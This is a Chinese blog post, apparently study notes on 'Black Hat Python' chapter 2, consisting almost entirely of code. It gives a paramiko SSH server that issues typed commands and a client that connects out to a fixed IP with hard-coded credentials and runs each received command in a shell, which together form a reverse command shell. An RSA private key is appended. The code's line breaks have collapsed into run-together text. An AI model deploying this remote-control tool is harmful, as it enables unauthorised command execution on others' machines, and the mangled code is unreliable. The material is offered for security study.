Python黑帽子学习笔记-----第二章

来源:互联网 发布:家用网络50兆 编辑:程序博客网 时间:2024/04/30 07:41
# -*- coding:utf-8 -*-import socketimport paramikoimport threadingimport sysimport timeimport logginglogging.basicConfig()#paramiko.OPEN_SUCCEEDED# 使用Patamiko示例文件的密钥host_key = paramiko.RSAKey(filename='test_rsa.key')#host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa')class Server(paramiko.ServerInterface):    def __init__(self):        self.event = threading.Event()    def check_channel_request(self,kind,chanid):        if kind == 'session':            return paramiko.OPEN_SUCCEEDED        #return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED    def check_auth_password(self,username,password):        if(username == 'hugo') and (password == '123'):            return paramiko.AUTH_SUCCESSFUL        return paramiko.AUTH_FAILEDserver = sys.argv[1]  # ipssh_port = int(sys.argv[2]) # porttry:    sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)    sock.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)    sock.bind((server,ssh_port))    sock.listen(100)    print('[+] Listening for connection ...')    client,addr = sock.accept()except Exception,e:    print('[-] Listen failed: ' + str(e))    sys.exit(1)print('[+] Got a connection!')try:    bhSession = paramiko.Transport(client)    bhSession.add_server_key(host_key)    server = Server()    try:        bhSession.start_server(server=server)    except paramiko.SSHException,x:        print('[-]SSH negotiation failed.')    chan = bhSession.accept(20)    print('[+] Authenticated!')    #time.sleep(0.01)    #print(chan.recv[1024])    #chan.send('Welcome to bh_ssh')    while True:        try:            command = raw_input("Enter command:").strip('\n')            if command != 'exit':                chan.send(command)                print(chan.recv(1024) + '\n')            else:                chan.send('exit')                print('exiting')                bhSession.close()                raise Exception('exit')        except KeyboardInterrupt:            bhSession.close()except Exception,e:    print('[-] Caught exeption: ' + str(e))    try:        bhSession.close()        #bhSession.close()    except:        pass    sys.exit(1)




# -*- coding:utf-8 -*-# bh_sshRcmd.pyimport threadingimport paramikoimport subprocessimport timedef ssh_command(ip, user, passwd,command, port = 8884):    client = paramiko.SSHClient()    # client.load_host_keys('/home/root/.ssh/known_hosts') #支持用密钥认证代替密码验证,实际环境推荐使用密钥认证    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())    #设置自动添加和保存目标ssh服务器的ssh密钥    client.connect(ip, port, username=user, password=passwd)  #连接    ssh_session = client.get_transport().open_session() #打开会话    if ssh_session.active:        #command = ssh_session.recv(1024)        ssh_session.send(command)   #执行命令        print ssh_session.recv(1024)    #返回命令执行结果(1024个字符)        while True:            command = ssh_session.recv(1024)    #从ssh服务器获取命令            try:                cmd_output = subprocess.check_output(command, shell=True)                ssh_session.send(str(cmd_output))            except Exception, e:                ssh_session.send(str(e))        client.close()    returnport = int(raw_input("Please enter the port:"))ssh_command('192.168.64.128','hugo','123','ClinetConnected',port)




-----BEGIN RSA PRIVATE KEY-----MIICWgIBAAKBgQDTj1bqB4WmayWNPB+8jVSYpZYk80Ujvj680pOTh2bORBjbIAyzoWGW+GUjzKxTiiPvVmxFgx5wdsFvF03v34lEVVhMpouqPAYQ15N37K/ir5XY+9m/d8ufMCkjeXsQkKqFbAlQcnWMCRnOoPHS3I4vi6hmnDDeeYTSRvfLbW0fhwIBIwKBgBIiOqZYaoqbeD9OS9z2K9KR2atlTxGxOJPXiP4ESqP3NVScWNwyZ3NXHpyrJLa0EbVtzsQhLn6rF+TzXnOlcipFvjsem3iYzCpuChfGQ6SovTcOjHV9z+hnpXvQ/fonsoVRZY65wKnF7IAoUwTmJS9opqgrN6kRgCd3DASAMd1bAkEA96SBVWFt/fJBNJ9HtYnBKZGw0VeHOYmVYbvMSstssn8un+pQpUm9vlG/bp7Oxd/m+b9KWEh2xPfv6zqUavNwHwJBANqzGZa/EpzF4J8pGti7oIAPUIDGMtfIcmqNXVMckrmzQ2vTfqtkEZsA4rE1IERRyiJQx6EJsz21wJmGV9WJQ5kCQQDwkS0uXqVdFzgHO6S++tjmjYcxwr3gH0CoFYSgbddOT6miqRskOQF3DZVkJT3kyuBgU2zKygz52ukQZMqxCb1fAkASvuTvqfpH87Qq5kQhNKdbbwbmd2NxlNabazPijWuphGTdW0VfJdWfklyS2Kr+iqrs/5wVHhathJt636Eg7oIjAkA8ht3MQ+XSl9yIJIS8gVpbPxSw5OMfw0PjVE7tBdQruiScnvuQES5C9BMHjF39LZiGH1iLQy7FgdHyoP+eodI7-----END RSA PRIVATE KEY-----







原创粉丝点击